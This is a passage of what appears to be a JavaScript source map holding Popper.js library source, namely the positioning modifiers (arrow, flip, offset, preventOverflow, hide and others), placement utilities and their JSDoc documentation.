is required by ${requesting} modifier in order to work, be sure to include it before ${requesting}!`\n    );\n  }\n  return isRequired;\n}\n","import getClientRect from '../utils/getClientRect';\nimport getOuterSizes from '../utils/getOuterSizes';\nimport isModifierRequired from '../utils/isModifierRequired';\nimport getStyleComputedProperty from '../utils/getStyleComputedProperty';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function arrow(data, options) {\n  // arrow depends on keepTogether in order to work\n  if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) {\n    return data;\n  }\n\n  let arrowElement = options.element;\n\n  // if arrowElement is a string, suppose it's a CSS selector\n  if (typeof arrowElement === 'string') {\n    arrowElement = data.instance.popper.querySelector(arrowElement);\n\n    // if arrowElement is not found, don't run the modifier\n    if (!arrowElement) {\n      return data;\n    }\n  } else {\n    // if the arrowElement isn't a query selector we must check that the\n    // provided DOM node is child of its popper node\n    if (!data.instance.popper.contains(arrowElement)) {\n      console.warn(\n        'WARNING: `arrow.element` must be child of its popper element!'\n      );\n      return data;\n    }\n  }\n\n  const placement = data.placement.split('-')[0];\n  const { popper, reference } = data.offsets;\n  const isVertical = ['left', 'right'].indexOf(placement) !== -1;\n\n  const len = isVertical ? 'height' : 'width';\n  const sideCapitalized = isVertical ? 'Top' : 'Left';\n  const side = sideCapitalized.toLowerCase();\n  const altSide = isVertical ? 'left' : 'top';\n  const opSide = isVertical ? 'bottom' : 'right';\n  const arrowElementSize = getOuterSizes(arrowElement)[len];\n\n  //\n  // extends keepTogether behavior making sure the popper and its\n  // reference have enough pixels in conjunction\n  //\n\n  // top/left side\n  if (reference[opSide] - arrowElementSize < popper[side]) {\n    data.offsets.popper[side] -=\n      popper[side] - (reference[opSide] - arrowElementSize);\n  }\n  // bottom/right side\n  if (reference[side] + arrowElementSize > popper[opSide]) {\n    data.offsets.popper[side] +=\n      reference[side] + arrowElementSize - popper[opSide];\n  }\n  data.offsets.popper = getClientRect(data.offsets.popper);\n\n  // compute center of the popper\n  const center = reference[side] + reference[len] / 2 - arrowElementSize / 2;\n\n  // Compute the sideValue using the updated popper offsets\n  // take popper margin in account because we don't have this info available\n  const css = getStyleComputedProperty(data.instance.popper);\n  const popperMarginSide = parseFloat(css[`margin${sideCapitalized}`], 10);\n  const popperBorderSide = parseFloat(css[`border${sideCapitalized}Width`], 10);\n  let sideValue =\n    center - data.offsets.popper[side] - popperMarginSide - popperBorderSide;\n\n  // prevent arrowElement from being placed not contiguously to its popper\n  sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0);\n\n  data.arrowElement = arrowElement;\n  data.offsets.arrow = {\n    [side]: Math.round(sideValue),\n    [altSide]: '', // make sure to unset any eventual altSide value from the DOM node\n  };\n\n  return data;\n}\n","/**\n * Get the opposite placement variation of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement variation\n * @returns {String} flipped placement variation\n */\nexport default function getOppositeVariation(variation) {\n  if (variation === 'end') {\n    return 'start';\n  } else if (variation === 'start') {\n    return 'end';\n  }\n  return variation;\n}\n","/**\n * List of accepted placements to use as values of the `placement` option.<br />\n * Valid placements are:\n * - `auto`\n * - `top`\n * - `right`\n * - `bottom`\n * - `left`\n *\n * Each placement can have a variation from this list:\n * - `-start`\n * - `-end`\n *\n * Variations are interpreted easily if you think of them as the left to right\n * written languages. Horizontally (`top` and `bottom`), `start` is left and `end`\n * is right.<br />\n * Vertically (`left` and `right`), `start` is top and `end` is bottom.\n *\n * Some valid examples are:\n * - `top-end` (on top of reference, right aligned)\n * - `right-start` (on right of reference, top aligned)\n * - `bottom` (on bottom, centered)\n * - `auto-end` (on the side with more space available, alignment depends by placement)\n *\n * @static\n * @type {Array}\n * @enum {String}\n * @readonly\n * @method placements\n * @memberof Popper\n */\nexport default [\n  'auto-start',\n  'auto',\n  'auto-end',\n  'top-start',\n  'top',\n  'top-end',\n  'right-start',\n  'right',\n  'right-end',\n  'bottom-end',\n  'bottom',\n  'bottom-start',\n  'left-end',\n  'left',\n  'left-start',\n];\n","import placements from '../methods/placements';\n\n// Get rid of `auto` `auto-start` and `auto-end`\nconst validPlacements = placements.slice(3);\n\n/**\n * Given an initial placement, returns all the subsequent placements\n * clockwise (or counter-clockwise).\n *\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement - A valid placement (it accepts variations)\n * @argument {Boolean} counter - Set to true to walk the placements counterclockwise\n * @returns {Array} placements including their variations\n */\nexport default function clockwise(placement, counter = false) {\n  const index = validPlacements.indexOf(placement);\n  const arr = validPlacements\n    .slice(index + 1)\n    .concat(validPlacements.slice(0, index));\n  return counter ? arr.reverse() : arr;\n}\n","import getOppositePlacement from '../utils/getOppositePlacement';\nimport getOppositeVariation from '../utils/getOppositeVariation';\nimport getPopperOffsets from '../utils/getPopperOffsets';\nimport runModifiers from '../utils/runModifiers';\nimport getBoundaries from '../utils/getBoundaries';\nimport isModifierEnabled from '../utils/isModifierEnabled';\nimport clockwise from '../utils/clockwise';\n\nconst BEHAVIORS = {\n  FLIP: 'flip',\n  CLOCKWISE: 'clockwise',\n  COUNTERCLOCKWISE: 'counterclockwise',\n};\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function flip(data, options) {\n  // if `inner` modifier is enabled, we can't use the `flip` modifier\n  if (isModifierEnabled(data.instance.modifiers, 'inner')) {\n    return data;\n  }\n\n  if (data.flipped && data.placement === data.originalPlacement) {\n    // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides\n    return data;\n  }\n\n  const boundaries = getBoundaries(\n    data.instance.popper,\n    data.instance.reference,\n    options.padding,\n    options.boundariesElement,\n    data.positionFixed\n  );\n\n  let placement = data.placement.split('-')[0];\n  let placementOpposite = getOppositePlacement(placement);\n  let variation = data.placement.split('-')[1] || '';\n\n  let flipOrder = [];\n\n  switch (options.behavior) {\n    case BEHAVIORS.FLIP:\n      flipOrder = [placement, placementOpposite];\n      break;\n    case BEHAVIORS.CLOCKWISE:\n      flipOrder = clockwise(placement);\n      break;\n    case BEHAVIORS.COUNTERCLOCKWISE:\n      flipOrder = clockwise(placement, true);\n      break;\n    default:\n      flipOrder = options.behavior;\n  }\n\n  flipOrder.forEach((step, index) => {\n    if (placement !== step || flipOrder.length === index + 1) {\n      return data;\n    }\n\n    placement = data.placement.split('-')[0];\n    placementOpposite = getOppositePlacement(placement);\n\n    const popperOffsets = data.offsets.popper;\n    const refOffsets = data.offsets.reference;\n\n    // using floor because the reference offsets may contain decimals we are not going to consider here\n    const floor = Math.floor;\n    const overlapsRef =\n      (placement === 'left' &&\n        floor(popperOffsets.right) > floor(refOffsets.left)) ||\n      (placement === 'right' &&\n        floor(popperOffsets.left) < floor(refOffsets.right)) ||\n      (placement === 'top' &&\n        floor(popperOffsets.bottom) > floor(refOffsets.top)) ||\n      (placement === 'bottom' &&\n        floor(popperOffsets.top) < floor(refOffsets.bottom));\n\n    const overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left);\n    const overflowsRight = floor(popperOffsets.right) > floor(boundaries.right);\n    const overflowsTop = floor(popperOffsets.top) < floor(boundaries.top);\n    const overflowsBottom =\n      floor(popperOffsets.bottom) > floor(boundaries.bottom);\n\n    const overflowsBoundaries =\n      (placement === 'left' && overflowsLeft) ||\n      (placement === 'right' && overflowsRight) ||\n      (placement === 'top' && overflowsTop) ||\n      (placement === 'bottom' && overflowsBottom);\n\n    // flip the variation if required\n    const isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n    const flippedVariation =\n      !!options.flipVariations &&\n      ((isVertical && variation === 'start' && overflowsLeft) ||\n        (isVertical && variation === 'end' && overflowsRight) ||\n        (!isVertical && variation === 'start' && overflowsTop) ||\n        (!isVertical && variation === 'end' && overflowsBottom));\n\n    if (overlapsRef || overflowsBoundaries || flippedVariation) {\n      // this boolean to detect any flip loop\n      data.flipped = true;\n\n      if (overlapsRef || overflowsBoundaries) {\n        placement = flipOrder[index + 1];\n      }\n\n      if (flippedVariation) {\n        variation = getOppositeVariation(variation);\n      }\n\n      data.placement = placement + (variation ? '-' + variation : '');\n\n      // this object contains `position`, we want to preserve it along with\n      // any additional property we may add in the future\n      data.offsets.popper = {\n        ...data.offsets.popper,\n        ...getPopperOffsets(\n          data.instance.popper,\n          data.offsets.reference,\n          data.placement\n        ),\n      };\n\n      data = runModifiers(data.instance.modifiers, data, 'flip');\n    }\n  });\n  return data;\n}\n","/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function keepTogether(data) {\n  const { popper, reference } = data.offsets;\n  const placement = data.placement.split('-')[0];\n  const floor = Math.floor;\n  const isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n  const side = isVertical ? 'right' : 'bottom';\n  const opSide = isVertical ? 'left' : 'top';\n  const measurement = isVertical ? 'width' : 'height';\n\n  if (popper[side] < floor(reference[opSide])) {\n    data.offsets.popper[opSide] =\n      floor(reference[opSide]) - popper[measurement];\n  }\n  if (popper[opSide] > floor(reference[side])) {\n    data.offsets.popper[opSide] = floor(reference[side]);\n  }\n\n  return data;\n}\n","import isNumeric from '../utils/isNumeric';\nimport getClientRect from '../utils/getClientRect';\nimport find from '../utils/find';\n\n/**\n * Converts a string containing value + unit into a px value number\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} str - Value + unit string\n * @argument {String} measurement - `height` or `width`\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @returns {Number|String}\n * Value in pixels, or original string if no values were extracted\n */\nexport function toValue(str, measurement, popperOffsets, referenceOffsets) {\n  // separate value from unit\n  const split = str.match(/((?:\\-|\\+)?\\d*\\.?\\d*)(.*)/);\n  const value = +split[1];\n  const unit = split[2];\n\n  // If it's not a number it's an operator, I guess\n  if (!value) {\n    return str;\n  }\n\n  if (unit.indexOf('%') === 0) {\n    let element;\n    switch (unit) {\n      case '%p':\n        element = popperOffsets;\n        break;\n      case '%':\n      case '%r':\n      default:\n        element = referenceOffsets;\n    }\n\n    const rect = getClientRect(element);\n    return rect[measurement] / 100 * value;\n  } else if (unit === 'vh' || unit === 'vw') {\n    // if is a vh or vw, we calculate the size based on the viewport\n    let size;\n    if (unit === 'vh') {\n      size = Math.max(\n        document.documentElement.clientHeight,\n        window.innerHeight || 0\n      );\n    } else {\n      size = Math.max(\n        document.documentElement.clientWidth,\n        window.innerWidth || 0\n      );\n    }\n    return size / 100 * value;\n  } else {\n    // if is an explicit pixel unit, we get rid of the unit and keep the value\n    // if is an implicit unit, it's px, and we return just the value\n    return value;\n  }\n}\n\n/**\n * Parse an `offset` string to extrapolate `x` and `y` numeric offsets.\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} offset\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @argument {String} basePlacement\n * @returns {Array} a two cells array with x and y offsets in numbers\n */\nexport function parseOffset(\n  offset,\n  popperOffsets,\n  referenceOffsets,\n  basePlacement\n) {\n  const offsets = [0, 0];\n\n  // Use height if placement is left or right and index is 0 otherwise use width\n  // in this way the first offset will use an axis and the second one\n  // will use the other one\n  const useHeight = ['right', 'left'].indexOf(basePlacement) !== -1;\n\n  // Split the offset string to obtain a list of values and operands\n  // The regex addresses values with the plus or minus sign in front (+10, -20, etc)\n  const fragments = offset.split(/(\\+|\\-)/).map(frag => frag.trim());\n\n  // Detect if the offset string contains a pair of values or a single one\n  // they could be separated by comma or space\n  const divider = fragments.indexOf(\n    find(fragments, frag => frag.search(/,|\\s/) !== -1)\n  );\n\n  if (fragments[divider] && fragments[divider].indexOf(',') === -1) {\n    console.warn(\n      'Offsets separated by white space(s) are deprecated, use a comma (,) instead.'\n    );\n  }\n\n  // If divider is found, we divide the list of values and operands to divide\n  // them by ofset X and Y.\n  const splitRegex = /\\s*,\\s*|\\s+/;\n  let ops = divider !== -1\n    ? [\n        fragments\n          .slice(0, divider)\n          .concat([fragments[divider].split(splitRegex)[0]]),\n        [fragments[divider].split(splitRegex)[1]].concat(\n          fragments.slice(divider + 1)\n        ),\n      ]\n    : [fragments];\n\n  // Convert the values with units to absolute pixels to allow our computations\n  ops = ops.map((op, index) => {\n    // Most of the units rely on the orientation of the popper\n    const measurement = (index === 1 ? !useHeight : useHeight)\n      ? 'height'\n      : 'width';\n    let mergeWithPrevious = false;\n    return (\n      op\n        // This aggregates any `+` or `-` sign that aren't considered operators\n        // e.g.: 10 + +5 => [10, +, +5]\n        .reduce((a, b) => {\n          if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) {\n            a[a.length - 1] = b;\n            mergeWithPrevious = true;\n            return a;\n          } else if (mergeWithPrevious) {\n            a[a.length - 1] += b;\n            mergeWithPrevious = false;\n            return a;\n          } else {\n            return a.concat(b);\n          }\n        }, [])\n        // Here we convert the string values into number values (in px)\n        .map(str => toValue(str, measurement, popperOffsets, referenceOffsets))\n    );\n  });\n\n  // Loop trough the offsets arrays and execute the operations\n  ops.forEach((op, index) => {\n    op.forEach((frag, index2) => {\n      if (isNumeric(frag)) {\n        offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1);\n      }\n    });\n  });\n  return offsets;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @argument {Number|String} options.offset=0\n * The offset value as described in the modifier description\n * @returns {Object} The data object, properly modified\n */\nexport default function offset(data, { offset }) {\n  const { placement, offsets: { popper, reference } } = data;\n  const basePlacement = placement.split('-')[0];\n\n  let offsets;\n  if (isNumeric(+offset)) {\n    offsets = [+offset, 0];\n  } else {\n    offsets = parseOffset(offset, popper, reference, basePlacement);\n  }\n\n  if (basePlacement === 'left') {\n    popper.top += offsets[0];\n    popper.left -= offsets[1];\n  } else if (basePlacement === 'right') {\n    popper.top += offsets[0];\n    popper.left += offsets[1];\n  } else if (basePlacement === 'top') {\n    popper.left += offsets[0];\n    popper.top -= offsets[1];\n  } else if (basePlacement === 'bottom') {\n    popper.left += offsets[0];\n    popper.top += offsets[1];\n  }\n\n  data.popper = popper;\n  return data;\n}\n","import getOffsetParent from '../utils/getOffsetParent';\nimport getBoundaries from '../utils/getBoundaries';\nimport getSupportedPropertyName from '../utils/getSupportedPropertyName';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function preventOverflow(data, options) {\n  let boundariesElement =\n    options.boundariesElement || getOffsetParent(data.instance.popper);\n\n  // If offsetParent is the reference element, we really want to\n  // go one step up and use the next offsetParent as reference to\n  // avoid to make this modifier completely useless and look like broken\n  if (data.instance.reference === boundariesElement) {\n    boundariesElement = getOffsetParent(boundariesElement);\n  }\n\n  // NOTE: DOM access here\n  // resets the popper's position so that the document size can be calculated excluding\n  // the size of the popper element itself\n  const transformProp = getSupportedPropertyName('transform');\n  const popperStyles = data.instance.popper.style; // assignment to help minification\n  const { top, left, [transformProp]: transform } = popperStyles;\n  popperStyles.top = '';\n  popperStyles.left = '';\n  popperStyles[transformProp] = '';\n\n  const boundaries = getBoundaries(\n    data.instance.popper,\n    data.instance.reference,\n    options.padding,\n    boundariesElement,\n    data.positionFixed\n  );\n\n  // NOTE: DOM access here\n  // restores the original style properties after the offsets have been computed\n  popperStyles.top = top;\n  popperStyles.left = left;\n  popperStyles[transformProp] = transform;\n\n  options.boundaries = boundaries;\n\n  const order = options.priority;\n  let popper = data.offsets.popper;\n\n  const check = {\n    primary(placement) {\n      let value = popper[placement];\n      if (\n        popper[placement] < boundaries[placement] &&\n        !options.escapeWithReference\n      ) {\n        value = Math.max(popper[placement], boundaries[placement]);\n      }\n      return { [placement]: value };\n    },\n    secondary(placement) {\n      const mainSide = placement === 'right' ? 'left' : 'top';\n      let value = popper[mainSide];\n      if (\n        popper[placement] > boundaries[placement] &&\n        !options.escapeWithReference\n      ) {\n        value = Math.min(\n          popper[mainSide],\n          boundaries[placement] -\n            (placement === 'right' ? popper.width : popper.height)\n        );\n      }\n      return { [mainSide]: value };\n    },\n  };\n\n  order.forEach(placement => {\n    const side =\n      ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary';\n    popper = { ...popper, ...check[side](placement) };\n  });\n\n  data.offsets.popper = popper;\n\n  return data;\n}\n","/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function shift(data) {\n  const placement = data.placement;\n  const basePlacement = placement.split('-')[0];\n  const shiftvariation = placement.split('-')[1];\n\n  // if shift shiftvariation is specified, run the modifier\n  if (shiftvariation) {\n    const { reference, popper } = data.offsets;\n    const isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1;\n    const side = isVertical ? 'left' : 'top';\n    const measurement = isVertical ? 'width' : 'height';\n\n    const shiftOffsets = {\n      start: { [side]: reference[side] },\n      end: {\n        [side]: reference[side] + reference[measurement] - popper[measurement],\n      },\n    };\n\n    data.offsets.popper = { ...popper, ...shiftOffsets[shiftvariation] };\n  }\n\n  return data;\n}\n","import isModifierRequired from '../utils/isModifierRequired';\nimport find from '../utils/find';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function hide(data) {\n  if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) {\n    return data;\n  }\n\n  const refRect = data.offsets.reference;\n  const bound = find(\n    data.instance.modifiers,\n    modifier => modifier.name === 'preventOverflow'\n  ).boundaries;\n\n  if (\n    refRect.bottom < bound.top ||\n    refRect.left > bound.right ||\n    refRect.top > bound.bottom ||\n    refRect.right < bound.left\n  ) {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === true) {\n      return data;\n    }\n\n    data.hide = true;\n    data.attributes['x-out-of-boundaries'] = '';\n  } else {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === false) {\n      return data;\n    }\n\n    data.hide = false;\n    data.attributes['x-out-of-boundaries'] = false;\n  }\n\n  return data;\n}\n","import getClientRect from '../utils/getClientRect';\nimport getOppositePlacement from '../utils/getOppositePlacement';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function inner(data) {\n  const placement = data.placement;\n  const basePlacement = placement.split('-')[0];\n  const { popper, reference } = data.offsets;\n  const isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1;\n\n  const subtractLength = ['top', 'left'].indexOf(basePlacement) === -1;\n\n  popper[isHoriz ? 'left' : 'top'] =\n    reference[basePlacement] -\n    (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0);\n\n  data.placement = getOppositePlacement(placement);\n  data.offsets.popper = getClientRect(popper);\n\n  return data;\n}\n","import applyStyle, { applyStyleOnLoad } from './applyStyle';\nimport computeStyle from './computeStyle';\nimport arrow from './arrow';\nimport flip from './flip';\nimport keepTogether from './keepTogether';\nimport offset from './offset';\nimport preventOverflow from './preventOverflow';\nimport shift from './shift';\nimport hide from './hide';\nimport inner from './inner';\n\n/**\n * Modifier function, each modifier can have a function of this type assigned\n * to its `fn` property.<br />\n * These functions will be called on each update, this means that you must\n * make sure they are performant enough to avoid performance bottlenecks.\n *\n * @function ModifierFn\n * @argument {dataObject} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {dataObject} The data object, properly modified\n */\n\n/**\n * Modifiers are plugins used to alter the behavior of your poppers.<br />\n * Popper.js uses a set of 9 modifiers to provide all the basic functionalities\n * needed by the library.\n *\n * Usually you don't want to override the `order`, `fn` and `onLoad` props.\n * All the other properties are configurations that could be tweaked.\n * @namespace modifiers\n */\nexport default {\n  /**\n   * Modifier used to shift the popper on the start or end of its reference\n   * element.<br />\n   * It will read the variation of the `placement` property.<br />\n   * It can be one either `-end` or `-start`.\n   * @memberof modifiers\n   * @inner\n   */\n  shift: {\n    /** @prop {number} order=100 - Index used to define the order of execution */\n    order: 100,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: shift,\n  },\n\n  /**\n   * The `offset` modifier can shift your popper on both its axis.\n   *\n   * It accepts the following units:\n   * - `px` or unit-less, interpreted as pixels\n   * - `%` or `%r`, percentage relative to the length of the reference element\n   * - `%p`, percentage relative to the length of the popper element\n   * - `vw`, CSS viewport width unit\n   * - `vh`, CSS viewport height unit\n   *\n   * For length is intended the main axis relative to the placement of the popper.<br />\n   * This means that if the placement is `top` or `bottom`, the length will be the\n   * `width`. In case of `left` or `right`, it will be the `height`.\n   *\n   * You can provide a single value (as `Number` or `String`), or a pair of values\n   * as `String` divided by a comma or one (or more) white spaces.<br />\n   * The latter is a deprecated method because it leads to confusion and will be\n   * removed in v2.<br />\n   * Additionally, it accepts additions and subtractions between different units.\n   * Note that multiplications and divisions aren't supported.\n   *\n   * Valid examples are:\n   * ```\n   * 10\n   * '10%'\n   * '10, 10'\n   * '10%, 10'\n   * '10 + 10%'\n   * '10 - 5vh + 3%'\n   * '-10px + 5vh, 5px - 6%'\n   * ```\n   * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap\n   * > with their reference element, unfortunately, you will have to disable the `flip` modifier.\n   * > You can read more on this at this [issue](https://github.com/FezVrasta/popper.js/issues/373).\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  offset: {\n    /** @prop {number} order=200 - Index used to define the order of execution */\n    order: 200,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: offset,\n    /** @prop {Number|String} offset=0\n     * The offset value as described in the modifier description\n     */\n    offset: 0,\n  },\n\n  /**\n   * Modifier used to prevent the popper from being positioned outside the boundary.\n   *\n   * A scenario exists where the reference itself is not within the boundaries.<br />\n   * We can say it has \"escaped the boundaries\" — or just \"escaped\".<br />\n   * In this case we need to decide whether the popper should either:\n   *\n   * - detach from the reference and remain \"trapped\" in the boundaries, or\n   * - if it should ignore the boundary and \"escape with its reference\"\n   *\n   * When `escapeWithReference` is set to`true` and reference is completely\n   * outside its boundaries, the popper will overflow (or completely leave)\n   * the boundaries in order to remain attached to the edge of the reference.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  preventOverflow: {\n    /** @prop {number} order=300 - Index used to define the order of execution */\n    order: 300,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: preventOverflow,\n    /**\n     * @prop {Array} [priority=['left','right','top','bottom']]\n     * Popper will try to prevent overflow following these priorities by default,\n     * then, it could overflow on the left and on top of the `boundariesElement`\n     */\n    priority: ['left', 'right', 'top', 'bottom'],\n    /**\n     * @prop {number} padding=5\n     * Amount of pixel used to define a minimum distance between the boundaries\n     * and the popper. This makes sure the popper always has a little padding\n     * between the edges of its container\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='scrollParent'\n     * Boundaries used by the modifier. Can be `scrollParent`, `window`,\n     * `viewport` or any DOM element.\n     */\n    boundariesElement: 'scrollParent',\n  },\n\n  /**\n   * Modifier used to make sure the reference and its popper stay near each other\n   * without leaving any gap between the two. Especially useful when the arrow is\n   * enabled and you want to ensure that it points to its reference element.\n   * It cares only about the first axis. You can still have poppers with margin\n   * between the popper and its reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  keepTogether: {\n    /** @prop {number} order=400 - Index used to define the order of execution */\n    order: 400,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: keepTogether,\n  },\n\n  /**\n   * This modifier is used to move the `arrowElement` of the popper to make\n   * sure it is positioned between the reference element and its popper element.\n   * It will read the outer size of the `arrowElement` node to detect how many\n   * pixels of conjunction are needed.\n   *\n   * It has no effect if no `arrowElement` is provided.\n   * @memberof modifiers\n   * @inner\n   */\n  arrow: {\n    /** @prop {number} order=500 - Index used to define the order of execution */\n    order: 500,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: arrow,\n    /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */\n    element: '[x-arrow]',\n  },\n\n  /**\n   * Modifier used to flip the popper's placement when it starts to overlap its\n   * reference element.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   *\n   * **NOTE:** this modifier will interrupt the current update cycle and will\n   * restart it if it detects the need to flip the placement.\n   * @memberof modifiers\n   * @inner\n   */\n  flip: {\n    /** @prop {number} order=600 - Index used to define the order of execution */\n    order: 600,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: flip,\n    /**\n     * @prop {String|Array} behavior='flip'\n     * The behavior used to change the popper's placement. It can be one of\n     * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid\n     * placements (with optional variations)\n     */\n    behavior: 'flip',\n    /**\n     * @prop {number} padding=5\n     * The popper will flip if it hits the edges of the `boundariesElement`\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='viewport'\n     * The element which will define the boundaries of the popper position.\n     * The popper will never be placed outside of the defined boundaries\n     * (except if `keepTogether` is enabled)\n     */\n    boundariesElement: 'viewport',\n  },\n\n  /**\n   * Modifier used to make the popper flow toward the inner of the reference element.\n   * By default, when this modifier is disabled, the popper will be placed outside\n   * the reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  inner: {\n    /** @prop {number} order=700 - Index used to define the order of execution */\n    order: 700,\n    /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */\n    enabled: false,\n    /** @prop {ModifierFn} */\n    fn: inner,\n  },\n\n  /**\n   * Modifier used to hide the popper when its reference element is outside of the\n   * popper boundaries. It will set a `x-out-of-boundaries` attribute which can\n   * be used to hide with a CSS selector the popper when its reference is\n   * out of boundaries.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   * @memberof modifiers\n   * @inner\n   */\n  hide: {\n    /** @prop {number} order=800 - Index used to define the order of execution */\n    order: 800,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: hide,\n  },\n\n  /**\n   * Computes the style that will be applied to the popper element to gets\n   * properly positioned.\n   *\n   * Note that this modifier will not touch the DOM, it just prepares the styles\n   * so that `applyStyle` modifier can apply it. This separation is useful\n   * in case you need to replace `applyStyle` with a custom implementation.\n   *\n   * This modifier has `850` as `order` value to maintain backward compatibility\n   * with previous versions of Popper.js. Expect the modifiers ordering method\n   * to change in future major versions of the library.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  computeStyle: {\n    /** @prop {number} order=850 - Index used to define the order of execution */\n    order: 850,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: computeStyle,\n    /**\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3D transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties\n     */\n    gpuAcceleration: true,\n    /**\n     * @prop {string} [x='bottom']\n     * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin.\n     * Change this if your popper should grow in a direction different from `bottom`\n     */\n    x: 'bottom',\n    /**\n     * @prop {string} [x='left']\n     * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin.\n     * Change this if your popper should grow in a direction different from `right`\n     */\n    y: 'right',\n  },\n\n  /**\n   * Applies the computed styles to the popper element.\n   *\n   * All the DOM manipulations are limited to this modifier. This is useful in case\n   * you want to integrate Popper.js inside a framework or view library and you\n   * want to delegate all the DOM manipulations to it.\n   *\n   * Note that if you disable this modifier, you must make sure the popper element\n   * has its position set to `absolute` before Popper.js can do its work!\n   *\n   * Just disable this modifier and define your own to achieve the desired effect.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  applyStyle: {\n    /** @prop {number} order=900 - Index used to define the order of execution */\n    order: 900,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: applyStyle,\n    /** @prop {Function} */\n    onLoad: applyStyleOnLoad,\n    /**\n     * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3D transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties\n     */\n    gpuAcceleration: undefined,\n  },\n};\n\n/**\n * The `dataObject` is an object containing all the information used by Popper.js.\n * This object is passed to modifiers and to the `onCreate` and `onUpdate` callbacks.\n * @name dataObject\n * @property {Object} data.instance The Popper.js instance\n * @property {String} data.placement Placement applied to popper\n * @property {String} data.originalPlacement Placement originally defined on init\n * @property {Boolean} data.flipped True if popper has been flipped by flip modifier\n * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper\n * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier\n * @property {Object} data.styles Any CSS property defined here will be applied to the popper. It expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow. It expects the JavaScript nomenclature (eg. `marginBottom`)\n * 